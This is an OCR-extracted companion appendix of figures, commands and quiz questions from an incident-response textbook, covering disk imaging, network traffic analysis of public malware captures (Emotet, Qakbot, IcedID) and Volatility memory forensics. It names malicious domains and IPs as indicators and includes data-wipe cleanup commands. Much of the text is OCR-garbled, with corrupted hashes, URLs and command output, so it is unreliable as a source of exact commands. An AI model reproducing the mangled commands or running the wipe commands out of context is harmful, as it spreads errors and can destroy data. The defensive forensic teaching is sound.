| Add Overfiow Location |

[ Verify images after they are created || Frecalovlate Progress Statistics
[Tl Create drectory kstings of all fies in the image after they are crested

TS | ot

Figure 8.14 — FTK Imager Create Image window




Select image Type X

Floase Salact the Dastination Image Typa

O raw (dd)

<ma Cocel | | b
Figure 8.15 — FTK Imager Select Image Type window

Evidence ltem Information

Case Number: | Compromised Laptop

Evidence Number: | E_01

Unique Description: | Seagate HDD S/N S2VOHV93 |

Examiner: | Gerard Johansen
Notes: | Taken from LT potentially compromised with RAT]|
<gack || Net> | | cancel | | mhep

Figure 8.16 — FTK Imager Evidence Item Information window



Select Image Destination

Image Destination Folder

| D:\

=3

Image Filename (Excluding Extension)

| E_01_Physical Image |

Fragment Size (MB)

For Raw, E01, and AFF formats: 0 = do not fragment

Compression (0=None, 1=Fastest, ..., 9=Smallest)

Use AD Encryption[_]

<gack [ mnish | | cancel | | Hep

Figure 8.17 — FTK Imager Select Image Destination window

Create Image >

[ verify images after they are ceated || Frecaiauiate Progress Statistics
[ create directory listings of all fifes in the image after they are created

Image Source
[ A\ \PHYSICALDRIVEZ

S5Stng Sviaencs Nunbst 1
Image Destination(s)
D:\E_01_Physical Image [E01]

| Add Overflow Location |

R

Figure 8.18 — FTK Imager Create Image window



Creating Image...

Image Source: ‘ \\.\PHYSICALDRIVE2 |

Destination: | D:\E_01_Physical Image |
Status: l Creating image... |
Progress
i |
Elapsed time: [ 0:04:32 |

Estimated time left:

Figure 8.19 — FTK Imager Creating Image window

&1 Drive/Image Verify Results

=}
Name
Sector count
B MDS5 Hash
Computed hash
Stored verification hash
Report Hash
Verify resuk
B SHA1 Hash
Computed hash
Stored venfication hash
Report Hash
Verify resuk
B Bad Sector List
Bad sectoi(s)

E_01_Physical Image.E01
625142448

b503d5b285286dbc69842a0828a6f8af
b503d50L285286JL 698424082846 8al
hS03dShIR5286dhcH9R47ANRIRAGRAS
Match

abe3d41a3a544419a1716c5000633491de033749d7
abe2d41333544410a1716c50d062341de03374d7
abe3d41a3a544419a1716¢50d063341de03374d7
Match

No bad sectors found

_ oo |

Figure 8.20 — FTK Imager result verification




Encrypted [ Detector v3.8.2

Copyright

http://ww. nagne

Figure 8.21 — Encrypted Disk Detector

23 Ubuntu-000001.vmdk
I3 Ubuntu-000002.vmdk
Ubuntu-9b5e66bc.vmem

d

Ubuntu.vmdk
13.64 GB
Ubuntu-9b5e66bc.vmss Saturday, May 15, 202.

Ubuntu-Snapshot1.vmem
Ubuntu-Snapshot1.vmsn
Ubuntu-Snapshot2.vmem
Ubuntu-Snapshot2.vmsn
Ubuntu.nvram
Ubuntu.vmsd

{531 Ubuntu.vmx
vmware-10.log
vmware-11.log
vmware-12.log
vmware-13.log
vmware-8.log
vmware-9.log
vmware.log

vmx-Ubuntu-5290d53637e0443962b94eb189¢797e8



Figure 8.22 — ESXi VM files

Figure 8.23 — fdisk output data



L caine@caine: ~

Figure 8.24 - fdisk output data

¢ UnBlock (as superuser)

This program sets blockdev in RW/RO mode for mounting block devices using the console
' with the mount option rw or nothing, .4 mount /dev/sdb1 or mount -0 rw /dev/sdb1

because CAME sets blockdev in RO mode by defavit and In this mode you cannot mount
in RW mode anything using the console and it's impossible to use programs like TestDisk or working in RW mode directly on the
devices

Detected BLOCK DEVICES and their current RO/RW status
Selected devices are toggled RO/RW.

Selected devices you will unblock/block in RW/Ro using the console.

Make a selection:

Device Size Status Type

_J sda 447,1G Read-Only disk
sdb 4,61 Wyitable disk
sdc 146G  Read-Only disk

@ Refresh @ Carxel v 0K

Figure 8.25 — UnBlock device selection



[ caine@caine: /mnt/Disk_Images/incident2022-034

Search Terminal

I > REvidence 1 (D) » Incident2022-034

B Nome Date modified
B ACMELaptop0S6umg  S/2472022 5

B ACMELaptop56.txt

Figure 8.28 — Dc3dd output files

Code and Commands

Command 8.1:

caine@caine:~$sudo fdisk -1

Command 8.2



caine@caine:~$ sudo mkdir /mnt/Disk Images

Command 8.3:

caine@caine:~$sudo mount /dev/sdb2 /mnt/Disk Images

Command 8.4:

caine@caine:~$ cd /mnt/Disk Images

Command 8.5:

cailne@caine:~$ mkdir Incident2022-034

Command 8.6:

caine@caine :/ mnt /Disk Images$ cd Incident2022-034

Command 8.7:

caine@caine:/mnt/Disk Images/Incident2022-034$ dc3dd
if=dev/sda of=ACMELaptop056.img hash=md5

log=ACMELaptop56.txt

Code 8.1:
dc3dd 7.2.646 started at 2022-05-24 22:17:14 +0200
compiled options:

command line: dc3dd if=/dev/sda of=ACMELaptop056.img
hash=md5 log=ACMELaptop56.txt

device size: 937703088 sectors (probed), 480,103,981,056
bytes

sector size: 512 bytes (probed)

480103981056 bytes ( 447 G ) copied ( 100% ), 11176,1 s, 41
M/s

input results for device '/dev/sda':
937703088 sectors in
0 bad sectors replaced by zeros

9fc8ebl58e5665a05875£4£5£2e6£791 (mdb5)



output results for file "ACMELaptop056.img’:
937703088 sectors out

dc3dd completed at 2022-05-25 01:23:30 +0200

Questions

1. What are the two types of write blockers? (Select two)
e Hardware
e Digital
e Software
e Court-approved
2. Responders should ensure that any storage drive that’s used for imaging is
properly sanitized before each use.
e True
e False
3. What type of imaging is used to acquire the entire physical volume of a drive?
e Dead imaging
e Liveimaging
e Remote imaging
e Hardware imaging
4. Which imaging application is found only on Linux systems?

e FTK Imager

e EnCase Imager
e AFF4

e dd

Further reading

Refer to the following resources for more information about the topics covered in this
chapter:

e FTK Imager Guide:



¢ NIST Computer Forensic Tools & Techniques Catalog:

¢ An Overview of Disk Imaging Tool in Computer Forensics:
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Src Addr Dst Addr Sport Dport Proto Packets Bytes Flows
192.168.1.7 192.168.2.56 5734 22 tep 42 3028 1
192.168.1.5 192.168.2.45 jes/ 22 tcp 52 2564 1
192.168.1.7 192.168.2.55 4675 22 tcp 1 1240 1
192.168.1.6 192.168.2.34 689/ 22 tcp 46 4056 1
192.168.1.6 192.168.2.56 3657 445 tcp 325 56798 1

Figure 9.1 — Sample NetFlow data

24 new, 24 total, EOF

10.3.21.102 100.60 100.0

Figure 9.2 — DNS query count

dfir@ubuntu:~/rita$ 1s -al

total 9868
dfir dfir 4096
dfir dfir 4096
dfir dfir 61321
dfir dfir 10856
dfir dfir 19588
dfir dfir 33352
dfir dfir 2666

2

9 4
1 conn.log
1

1

1

1

1 dfir dfir 9845456

1

1

1

1

1

1

1

1

dce_rpc.log
dns.log
files.log
http.log
icedid.pcap
install.sh
kerberos.log
packet_filter.log
pe.log
smb_mapping.log
ssl.log
weird.log
x509.1log

dfir dfir 28088
dfir dfir 1353
dfir dfir 254
dfir dfir 750
dfir dfir 1150
dfir dfir 20003
dfir dfir 814
dfir dfir 43084
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Figure 9.3 — Zeek log files



rita import IcedlD
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Host Anal

Figure 9.4 — RITA Zeek log import

in bilg haystacks.

omnand options

COMMANDS :

delete, delete-database Delete imported database(s)

tnport Import zeek logs into a target database

html-report Create an htnml report for an analyzed database

s -beacons-fqdn Print hosts which show signs of C2 software (FQDN Analysis)

show-beacons-proxy Print hosts which show signs of C2 software (internal -> Pro

show-beacons Print hosts which show signs of C2 software

show-bl-hostnanes Print blacklisted hostnames which received connections
-bl-source-ips Print blacklisted IPs which initiated connections
-bl-dest-ips Print blacklisted IPs which recelved connections

List, show-databases Print the databases currently stored

show-exploded-dns Print dns ¢ - oses covert dns channels

show-long-connections Print long connections and relevant information

show-open-connections Print open connections and relevant information

show-strobe Print stre information

show-users S Print user agent informa \

test-config Check the configuration file for validity

Shows a list of commands or help for one command

FIG_FILE Use a specific CONFIG_FILE when running this command
show help
print th




Figure 9.5 — RITA features
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Figure 9.9 — NetworkMiner’s Files tab

b123.exe

events.data microsoft.com.cer
Microsoft Secure Server CA 2.cer
events.data microsoft.com.cer
Microsoft Azure TLS Issuing .cer
blaka.php html

request.zip

2353528
21708
17568
24368
15278

288
15658498

5388883

Figure 9.10 — Suspect files

45.8.124.233 [bor4omkin.ru]
13.85.179.12 [onedsblobprdcus17.centralus.cloudapp.azur...
13.89.179.12 [onedsblobprdcus 17.centralus cloudapp .azur...
20.189.173.4 [onedscolprdwus 03 westus.cloudapp .azure.c...
20.189.173 4 [onedscolprdwus03 westus. cloudapp .azure c....
5.63.155.126 [sughicent.com]
5.63.155.126 [sughicent.com]
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Figure 9.11 — Arkime PCAP import
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Figure 9.12 — Arkime GUI dashboard

Sessions SPIView SPIGraph Connections Hunt Files Stats History Settings Us:

‘ © | All (careful) H Start | 1969/12/31 16:00:00 n H End

Figure 9.13 — HTTP port 80 query




m +Start me = Stop Time = SrcIP/Country +SrcPort +DstIF/Country =DstPort = Packets
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5210 145319 us
& 204 - 12250 L850 1454 n w
UE

Figure 9.14 — HTTP session data

| URI ~ | ctidi windowsupdate commsdownload/updatev3/aaticrustedr/en/disallowadcortstl cab?050 11151b084d%9

[URI~| x1.clencrorg

Figure 9.15 — Arkime URI data

220225-1K9bNJ79CAINBZnfnjKUTSkH  Community Id: 1:V1pYtEpdd4m7WiXp+2d6Yjdji0=
2022/02/25 14:52:19 - 2022/02/25 14:53:19
|W] arkime
[W; hitp tcp
|m| tcp
Packets 6 Bytes 623 Databytes 287
Packets 5 Bytes 608 Databytes 334
Src Mac 00:08:02:1c:47:ad OUI Hewlett Packard Dst Mac 20:e5:2a:b6:93:f1 OUI Netgear
[ srcipPort~ | 10.2.25.101 : 58562
[DstiPport~| 8.253.112.108 : 80 ( US ) [ AS3356 LEVEL3 ] { ARIN }

Payload8 ~ ' Src 47455420216d7364 (GET /msd)  Dst 485454502f312e31 (HTTP/1.1)

| Tags ~ ]
I Files ~ ] /mome/offlinecaps/2022-02-25-Emotet-epoch4-with-spambot-activity. pcap

|TCP Flags ~ I SYN 1 SYN-ACK 1 ACK 5 PSH 3 RST 0 FIN 2 URG 0

Figure 9.16 — Session data



ciidl windowsupdate com

Micsosolt-CryptoAPI10 0

accepl connection host Hmodified-since IFnone-match  userapent
| Client Versions * = 11
| Response Headers *  age cacha-control connection date etag expies last-modiied msragion sarver x-ccc x-0d  x-powerad-by

Server Versions >~ 11

server Header ~ | Microsol J1S/10 0

Figure 9.17 — HTTP session data

@ 52.113.194.132

@ 13.87.188.105

@ 8.253.112.108
@ 52.184,215440 @ 51.91.236.193

\@ 204.79.197.200 @ 40.79.197.35
169497.131.16 62%00.22

@ 104.212
144 .217.88.125
@ 52.182.143.211 T 10,@

® 52.109.12.18

@ 52.183.220.149

@ 20.160.157, & ;
@ 224 0 (@s13.64.1€0.106

@ 20427324 ® 20427327

@ 20.83.81.164

@ 52.152.108.96

Figure 9.18 — Arkime connections graph
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Figure 9.19 — Wireshark IP address view



T
730 85.565098
731 85.565098
732 65.565175
733 85.565175
735 85.565380
736 85.5653¢80

Soutee Drntination Protocol
204.79.197.219 DESKTOP SOUINBH.loc.. TCP
DESKTOP-SOUINBH. L. 2.“79.1” 219 T
3“ 79-1’7- DESKTOP- m loc.. w
m ssum 1. 2e4. 79.197. 239 TCP
»”‘.79.197.219 m SOUINBH. loc.. TCP
204.79.197.219 DESKTOP-S9UINBH. loc.. TLSv1.2
DESKTOP SOUINBH.1. 204.79.197.219 Tcr

DESKTOP-SSUINBH. .. 204.79.197.219 TCP

Figure 9.20 — Wireshark domain name view



M Wireshark - Coloring Rules Classic

OSPF State Change

b T Errors
[v] ARP
[v] icme
N TCPRST

SCTP ABORT
TIL low or unexpected

Filter

hsrp.state hsrp.state != 16

icmp.type eq

icmp || icmpv6

tep.flags.reset eq 1

sctp.chunk_type eq ABORT

(Yip.dst == 224.0.0.0/4 &8 ip.ttl < 5 && !pim) || (ip.dst == 224.0.0.0/24 && ip.dst |= 224.0.0.25

smb || nbss || nbns || nbipx || ipxsap || netbios
http || tcp.port == 80

ipx || spx

dcerpc

hsrp || i
.

IRIRRRRRRREIEIR

A

Doetile click to edit. Drag to move. Rules are processed in orcy until @ matoh & found,

+ | = [m| B

Copy from Cancel Import... Export... Help

Figure 9.21 — Wireshark — Coloring Rules Classic




Time Source Destination Protocol
7 0.016790 DESKTOP-SOUINBH. L. igmp.mcact.net 1GMPv3
8 0.016790 DESKTOP-SQUINBH. 1. igmp.mcast.net IGWPV3
11 ©.016956 DESKTOP-SOUINBH. 1. igmp.meast.net IGMPV3

13 0.017167 DESKTOP-S9UINBH. L. !n mcast.net

17 0.217759 DESKTOP-SQUINBH. 1. inmstnet

—

29 0.6877855 DESKTOP-SOUINBH. L. 10.4.14.255
30 ©.078012 DESKTOP-S9UINGH. L. 10.4.14.255
DESW SOUINBH.1_ 18.4 14 255

0.249760 DESKTOP-S9UINBH. l— igmp.wmcast.net

DESKTOP-S9UINBH. L. 10.4.14.255
46 0.840)09 DCSKTOP-SSUINDIL. L. 10.4.14.255

Figure 9.22 — Source address filter



M Wireshark . Packet 744 - 2022-04-14-aa-Qakbot-with-Cobalt-Strike.pcap - m} X

> Frame 744: 503 bytes on wire (4024 bits), 503 bytes captured (4824 bits) ;
> Ethernet II, Src: DESKTOP-SOUINBH.local (©@:08:02:1c:47:ae), Dst: Netgear b6:93:f1 (20:e5:2a:b6:93:f1)
> 1Internet Protocol Version 4, Src: DESKTOP-S9UINBH.local (10.4.14.101), Dst: geobram.com (208.91.198.131)

> Transmission Control Protocol, Src Port: 49808, Dst Port: 8@, Seq: 1, Ack: 1, Len: 449
> *

0000 20 e5 2a b6 93 1 [LEENY 1c 47 ae 08 00 45 00 A
0016 01 e9 8 bd 40 00 80 06 51 09 @a 04 Ge 65 do 5b '
00260 c6 83 c2 90 00 50 1b 72 3d @@ 7a c5 c4 55 50 18

0030 02 03 61 48 00 00 47 45 54 20 2f 69 73 74 2f 69

0048 73 65 65 72 72 6f 61 65 6d 74 65 66 73 70 69 64

0050 6e 6¢c 65 20 48 54 54 50 2f 31 2e 31 @d 0Qa 48 6f

0060 73 74 3a 20 67 65 6f 62 72 61 6d 2e 63 6f 6d @d

0070 ©@a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65

0020 70 2d 61 6¢ 69 76 65 @d ©a 55 70 67 72 61 64 65

0090 2d 49 6e 73 65 63 75 72 65 2d 52 65 71 75 65 73 - V.

Figure 9.23 — Packet data
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753 87,127580 DESKTOF -SEULNEN. Jocal con wITR 605 GET /Lit/WC_I35833579£. ip WTTP/LL

Figure 9.24 — HTTP packet view
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Figure 9.25 — Follow HTTP Stream



Ml Wireshark . Follow TCP Stream (tcp.stream eq 28] - 2022-04-14-3a-Qakbot-with-Cobalt-Strike.pcap - 0 x

oo N GET [t/ NO_29504I5M630 HTTR/ L ~
Most; geckramcon

Conmecton: knap: shve '
Upgrade: Insecury: Ragumts; |

Ulers UosPL8 (W T 8 Wt 60)ASSoWbENT. 3 00CTA B Gk Creomnl VAN T Sl VS0 /10011820

bl &
Accuph: tect/ b ) e

‘ranvher Encoding: chushed
Carfant-Type: application/octet-straam v

Enre convarsaton (340 &8) v Sowanduwaditam ASH v | e [0 2]

P OdThaSim| | et || Semm. | Gk || Cem || W Id

Figure 9.26 — HTTP packet data




o |
Packet Hostname Content Type Size Filename A
748 geobram.com  text/html 171 bytes  iseerroaemtefspidnle
1290 geobram.com 1388 bytes NO_2950435796.zip [
1296 geobram.com 1388 bytes NO_2950435796.zip
1298 geobram.com 1095 bytes NO_2950435796.zip |
1302 geobram.com 1388 bytes NO_2950435796.zip [
1305 geobram.com 1388 bytes NO_2950435796.zip [
1306 geobram.com 1229 bytes NO_2950435796.zip
1310 geobram.com 1388 bytes NO_2950435796.zip
1312 geobram.com 1388 bytes NO_2950435796.zip
1323 geobram.com 1325 bytes NO_2950435796.zip
1324 gecbram.com 1388 bytes NO_2950435796.zip
1325 geobram.com 1388 bytes NO_2950435796.zip
1326 geobram.com 1388 bytes NO_2950435796.zip
1331 gecbram.com 1388 bytes NO_2950435796.zip
1334 geobram.com 722 bytes NO_2950435796.zip
1340 geobram.com 1388 bytes NO_2950435796.zip
1342 geobram.com 1388 bytes NO_2950435796.zip
1346 geobram.com 1069 bytes NO_2950435796.zip
1348 gecbram.com 1388 bytes NO_2950435796.zip
1349 geobram.com 1388 bytes NO_2950435796.zip
1352 geobram.com 1309 bytes NO_2950435796.zip
1366 gecbram.com 1086 bytes NO_2950435796.zip
1367 geobram.com 1279 bytes NO_2950435796.zip v,

Text Filter: |

Save Save Al Close Help

Figure 9.27 — Wireshark — Export — HTTP object list

Code and Commands

Command 9.1:

sansforensics@siftworkstation: ~$ mergecap

packetcapturel.pcap packetcapture2.pcap
Command 9.2:

sansforensics@siftworkstation: ~$ editcap -F pcap -c
evidence.pcap split.pcap

Command 9.3:

sansforensics@siftworkstation: ~$ editcap -F pcap-t+600

evidence.pcap split.pcap




Command 9.4:

dfir@ubuntu:~$ sudo apt-get install dnstop

Command 9.5:

dfir@ubuntu:~/Documents/Packet Captures$ DN stop 2022-03-

21-Hancitor-with-Cobalt-Strike-and-Mars-Stealer.pcap

Command 9.6:

dfir@Qubuntu:~/rita$ sudo chmod +x ./install.sh

Command 9.7:

dfir@ubuntu:~/rita$ ./install.sh

Command 9.8:

dfir@ubuntu:~/rita$ zeek -C -r IcedId.pcap

Command 9.9:

dfir@ubuntu:~/rita$ rita import *.log IcedID

Command 9.10:

dfirQubuntu:~/rita$ rita

Command 9.11:

dfir@ubuntu:~/rita$ rita show-beacons IcedID

Command 9.12:

dfir@ubuntu:~/rita$ rita show-beacons-fgdn IcedID

Command 9.13:

arkime@arkime:/opt/arkime/bin$ sudo ./capture -r
/home/offlinecaps/2022-02-25-Emotet-epoch4-with-spambot-
activity.pcap

Command 9.14:

/opt/arkime/db/db.pl http://ESHOST:9200 wipe

Command 9.15:



/bin/rm -f /opt/arkime/raw/*

Questions

Answer the following questions to test your knowledge of this chapter:

1. Afiltered log review is one where the responder or analyst filters out specific
logs based on a set parameter.
e True
e False

2. What is not a component of the Elastic Stack?

Elasticsearch

e lLog forwarder

e logstash
e Kibana
3. Which packet analysis tool places the packet capture into sessions as the default
view?
e  Wireshark
e NetFlow
e Elastic Stack
e Arkime
4. Wireshark does not allow for DNS name resolution.
e True
e False

Further reading

Refer to the following links for more information about the topics covered in this
chapter:

e Elasticsearch 7.0 Cookbook - Fourth Edition:

* Malware traffic analysis: Afpsiiwww.malware-traffic-analysis.net.

e Arkime:

«  Chappell University: fitfpsi/iwww.chappell-university.com.



»  Cisco I0S NetFlow: https:/iwuww.cisco.comic/en/uis/produicis/ios-nx-os:
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Images

forensics@ubuntu: ~

File Edit View Search Terminal Help

forensics@ubuntu:~$ git clone https://github.com/volatilityfoundation/volatility3.git
Cloning into 'volatility3'...

remote: Enumerating objects: 27538, done.

remote: Counting objects: 100% (176/176), done.

remote: Compressing objects: 100% (81/81), done.

remote: Total 27538 (delta 99), reused 163 (delta 95), pack-reused 27362

Receiving objects: 100% (27538/27538), 5.24 MiB | 7.18 MiB/s, done.

Resolving deltas: 100% (20891/20891), done.

forensics@ubuntu:~$

Figure 10.1 — Installing Volatility

Forensics@ubunty: ~/volatility3

Figure 10.2 — Verifying the Volatility installation



foreasics@ubuntu: ~fvolatility3

Edit View Search Terminal Help
sics@ubun Lati y35 python3 vel.py +h
volatililty 3 Framework
15 : volatility [-h] [-€ CONFIG) -paralleliss
END] [-p PLUGIN_DIRS] [-

stackers [STACKERS [STACKER 1]
-single-swap- locations [SINGLE SWaP L S NGLE_SWAP LOCATIONS

plugin
AN opon-source menory forensics fra

optional arguments:
-h, --help Show tf g » and exit, fo < plugin
options wse "volatility <pluginnames \
¢ CONFIG, --conflg CONFIG
Load conflguration from & json file
parallelisn [(processes,threads,off))
Enables parallelisn (defaults to off LFf no argument
\

1

extend EXTEND
Extend the configuration with a new (or changed)
setting
IRS, plugin-dirs PLUCY
colon par of paths to find pluglins
DIRS, - 1-di 4
Sent- n separated Tist of paths to find synbols
sily Increase output verbosity
log LOG Log output to a flle a5 well as the console
1_DIR, output- OUTPUT_DIR
ctory in which to ocutput any generated files
progress feedback

Figure 10.3 — Volatility help menu

penoryInages/cridex. vmen windows,info
Volatility 3 Framework 2.2.0
Progress: 100,60 POB scanning finilshed

Variable value

Kernel Base éx804d7600
DTB Bx2feobd
fil J/hone ) forens olatilityd/volatilityd/synbols fwindons /ntkenlpa.
pdb/38685FBI1AETEAACAABATSOAAZ41FF331-1.)
IS648Bit False
ISPAE frue
layer_nane 2 HLn sIntelPAE
enory_Llayer 1 FileLayer
KdDebuggerDataBl Ox88545ae0

NTBulldLab 2680, xpsp.6860413-2111
CSOVersion
RdversionBl

Major/Minor
MachineType
KeNumberProce
SystemTine
CI\NINDOWS
NtProductiinit
NtMajorVerstion 5
NEMLnorVersion 1
PE MajorOperatingSystemVersion
ratingSystemVersion
332
Sun Apr 13 15:31:06 2008

Figure 10.4 — The windows.info plugin



Aty 3 Frarework 2.2.
100.00 PD8 scanning finished
PPID InageFileNane of fset(V) Threads Handles Sessionld CreateTime
Lle output
NIA False N/A N/A Disabled
19 N/A False 2012.07- 62:42:
\sabled
584 364 3 . L ] False
Lsabled
winlogon, 3 Uxs2298700 k 3 ° False 2012-07- 142:32.000000
services exe 0x31e2ab2s 4 2012 - )2:42:32.000000
Lsabled
6564 . Ox81e2a3ba 2 0 -07-22 142:32.000000
sabled
0x82311360 2 2012-07-22 142:33.000000
:33.000000
svchost . exe Ox82300100 ¢ 2012.07-2 142:33. 000000
svchost Oxs21drdao D e12-07 )a: ;33.000000
svchost. ex Ux52295650 5 2012-07
explorer.exe Ux8521dea’0 - 2012-07-22 142:36.000000 N/A
spoolsv.exe 0x81eb17ba 3 2012-07 142:36.000080 N/A
reader_sl.exe 6 2012-67- 142:36.0000080
alg.exe Ox620e8dad 87 143:01, 50 WA

waauclit, exe Ox8217cdad -07- 143:46.000000

wuauelt . exe 0x3205bda0 0 -07- i44:01,000000

Volatility 3 Framework 2.
Progress: 100.00 POB scanning finished
P10 PPID InageFLLeNamne offset(v) Threads Mandles Sessionid CreateTine ExitTine
ile output
Svehost . exe 0x2029ab4 False ) -22 $42:33. 000000 N/A
15355 . exe Ox282a308 False p12-07- 2:42:32.000000 N/A

services.exe 8x282ab28 False :132.600000 N/A

reader_sl.exe  0x207bdab . 2 142:36.000000 N/A

spoolsv.exe 0x20b17b8 3 2 -07-22 142:36.000000 R/A
wuauclt. exe 0x225bda0 False 2012-07-22 114:01.,000000 N/A
alg.exe Ox22elidao 2012-07-2: 4 ’ N/A Disab
explorer. . exe Ox23deatd ) False 0722 42:36.900000 N/A D
tsabled
1056 svehost.exe Ox23dfdad False . 142:33.060000 N/A
Lsabled
1136 wyauclet.oxe Ox23fcdad False 2~ 2:43:46.000000 N/A
Ltsabled
svchost.exe Ox2495650 False ~07- 142:35.000000 N/A
winlogon.exe 0x24%8700 False 2 -07- 2:42:32.000000 N/A
2012-07-22 $42:32.000000 N/A
SNSS . exe ox2ar1020 2012-07 142131, 000000 N/A
svchost,.exe Ox25001d0 2012-07-22 02:42:33.000000 N/A
Ox2511360 2012.87+22 ©2:42:33.000000 N/A

0x25¢cB9¢c8 53 2 N/A Disabled




Figure 10.6 — Process scan

POB scanning finish
FlleName offset(v) Y 5 Handles Sesstonld Wom64 CreateTine ExitTine
OxB23c89¢c8 N/A N/A N
exe oxg22r11 19 /A False 2012- r 142:31.000000
368 55.exe 0xB2230598 ¢ 326 False 2012-8 . 000000
88 368 ogon.exe Ox82298708 - 519 False 2012 3 obeoen
664 608 exe 0x81e223b8 330 False 2012~
652 608 lces . exe oxBle2ab28 243 2012-07- N/
svehost, exe OxB21drda0 s ¢ False 0008060
svchost Ox82295658 15
spools Ox8icb17b8 14
svchost, OxB8le29ab8
svchost, e
wuauclt.exe

o

e
B20e8dad
Ox8231136
Ox821d0a70 3 2012
Ox81e7bdad

anning fial
Path

dx&00000 30 3 1 Redder 9.0\Reader\Reader_sl.exe N/A

axTcH00000
SxTcBoo000
axT . \
SxT7110000 Ci\W stenid\ &
Ox77dd0680 .
OxT7076000
OxT1febn0n
Ox7¢9C0000 y
x77¢10000 ] W 3 < dil /A
ox771060000 d\ 1.0 n/A
OxTc420000 § SVC d : X 5 5 vieo
PBO. ALY N/A
0x78130008 0 411 \NINDOHS \WL CBO.CRT_1fcabibsy
RBO.dLL N/A
Jl C: i Microsoft.Window
Disabled
C: \WINDONSY
Sad70008 .
1138606 3 3 ste 2 Dlsabled
(71220008 i L ¢ 1N0U 1 Ulsablaed

Figure 10.9 — Associated DLL files



P08 fintshed
HandleValue Grante cess Nare

8xc10096ed reyedEvent oxfoeel utOfNemoryEvent
Dlrectory ox3 | £3
File 8x100020
File 61100020

oxr Wladows
ux21f008)
x217000)
by ation  OxfOI7r Winstad
reader_sl. e . sktop OxfOLT! Default
reader_sl, 2 indowstation  OxfO37f Win
semaphore 0x10000)
rey s, a Senaphore 0x100C0)
reader_s\, elc Ley ox20fooaf
reater_sl.exe Directory
resder_sl.exe 0 Senaphore
reader_sl.exe 0xe1835048 X Key 9x2010031
reader_sl.exe 0xB2042128 e 0x100020
rmon-Controls _6595b84144cc ] ’ 2_x-ww_35ddceB)
reader_sl.exe Oxelc? t 001
reader_sl.exe
reader exe E i ax170003
reader_sl.exe 8 oxifears
reader_sl. D Oxifeeel
reader_sl Ox1faoe3
reador_sl.exe  Ox820022e0 : axifaeel
roader_sl.oxe * 02218 . ox178003
dor_sl.oxe x 2 ax1feares
ox100001

folatility 3 Framew R
ogress:  180.00 P08 scanning
InInit InMe

True True s\Adcbe\Reader 9
reader_sl, True True yston32\kernel32.dtl
reader_ True True
reader_sl,e x77¢10000 True True
reader_s\ Ox 53050000 True True
reader_sl. 52d70000 rue T True
reader _sl. 73d0000 t True
sdsce@3\conctli2. 61l
T1absoos True T True
ex71aab000 r True OMS\systen32\wi2help.dll

xI71100800 True ' True en32\gdia2. 41l
True True \ ¢ ysten32\rpcrtd. ¢l
True i True
True True
True X True
wv_0b128700\rs
reader _sl.exe B True T True
wv_6b1287080\Rsvern.dl
reade OxTcO00860 True
reader _sl.e OxTe310080 True
readoer sl.exe xJCHCH000 True

Figure 10.11 — LDR modules output



explorer.exe 0x1460000 0x1480fff Vads PAGE_EXECUTE_READW
1 Disabled
00 03 00 00
00 ff ff o0
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 e® 00 00
dec
pop
nop
add al
add byte ptr al
add byte ptr eax], al
add byte ptr al
reader_sl.exe 0x3d0000 ox3fofff PAGE_EXECUTE_READW
1 Disabled
00 03 00 00
00 ff ff oo
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 e® 00 00
dec
pop
nop
add
add
add
add

Figure 10.12 — Malfind output
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Figure 10.16 — Volatility Workbench




Code and Commands

Command 10.1:

forensics@ubuntu:~$ git clone

https://github.com/volatilityfoundation/volatility3.git

Command 10.2:

forensics@ubuntu:~/volatility3$ python3 vol.py -f <Memory
Image File> <operatingsystem.plugin>

Command 10.3:

forensics@ubuntu:~/volatility3$ python3 vol.py -f
/home/forensics/EvidenceFiles/MemoryImages/cridex.
windows.info

Command 10.4:

forensics@ubuntu:~/volatility3$ python3 vol.py -f
/home/forensics/EvidenceFiles/MemoryImages/cridex.
windows.pslist

Command 10.5:

forensics@ubuntu:~/volatility3$ python3 vol.py -f
/home/forensics/EvidenceFiles/MemoryImages/cridex.
windows.psscan

Command 10.6:

forensics@ubuntu:~/volatility3$ python3 vol.py -f
/home/forensics/EvidenceFiles/MemoryImages/cridex.
windows.pstree

Command 10.7:

forensics@ubuntu:~/volatility3$ python3 vol.py -f

/home/forensics/EvidenceFiles/MemoryImages/cridex.
windows.dlllist —--pid 1640

Command 10.8:



forensics@ubuntu:~/volatility3$ python3 vol.py -f
/home/forensics/EvidenceFiles/MemoryImages/cridex.

windows dot handles --pid 1640
Command 10.9:

forensics@ubuntu:~/volatility3$ python3 vol.py -f
/home/forensics/EvidenceFiles/MemoryImages/cridex.
windows.ldrmodules -pid 1640

Command 10.10:

forensics@ubuntu:~/volatility3$ python3 vol.py -f
/home/forensics/EvidenceFiles/MemoryImages/cridex.
windows.malfind

Command 10.11:

forensics@ubuntu:~/volatility3$ python3 vol.py -f
/home/forensics/EvidenceFiles/MemoryImages/cridex.
/home/forensics/EvidenceFiles/PID1640Dump/
windows.dumpfiles --pid 1640

Command 10.12:

forensics@ubuntu:~/EvidenceFiles/PID1640Dump$ md5sum
file.0x821ccf90.0x82137c08.ImageSectionObject.reader sl.exe
.img

Command 10.13:

forensics@ubuntu:~$ sudo apt install binutils

Command 10.14:

forensics@ubuntu:~$ strings <file name> | grep <Regular
Expression>

Command 10.15:

forensics@ubuntu:~$ strings pagefile.sys | grep -oE

"\b ([0-9]{1,3}\.){3}[0-9]{1,3}\b"

Command 10.16:



forensics@ubuntu:~$ strings pagefile.sys

"“https?://" | sort | unig | less

Command 10.17:

forensics@ubuntu:~$ strings pagefile.sys | egrep
"([[:alnum:] .-]1{1,64}+@[[:alnum:] .-

1{2,255}+?\.[[:alpha:]1.]1{2,4})"

Questions

Answer the following questions to test your knowledge of this chapter:

1. What are some of the data points that can be found via memory analysis?
e Running processes
e Network connection
e Command history

All of the above

2. What is not part of the network connections methodology?

e Process name
Parent process ID
Check for signs of a rootkit
e Associated entities
3. Dumping files associated with a process will never introduce malware into a

responder’s system.
e True
e False
4. One of the primary goals of memory analysis is to acquire malicious processes
or executables for further analysis.
e True
e False

Further reading

For more information about the topics covered in this chapter, refer to the following:



e SANS Memory Forensics Cheat Sheet: https://digital-

* The Art of Memory Forensics: Aifpsiww.memoryanalysis.net/ami
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Figure 11.1 — EO1 files
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Figure 11.2 — Autopsy - creating a new case



M New Case Information

Steps Case Information
1. Case Information ;
2. Optional Information CaseName:  |2022-014 Guymager Incident] |

Base Directory: !D:\ | | Browse

Case Type: (@ Single-User Multi-User
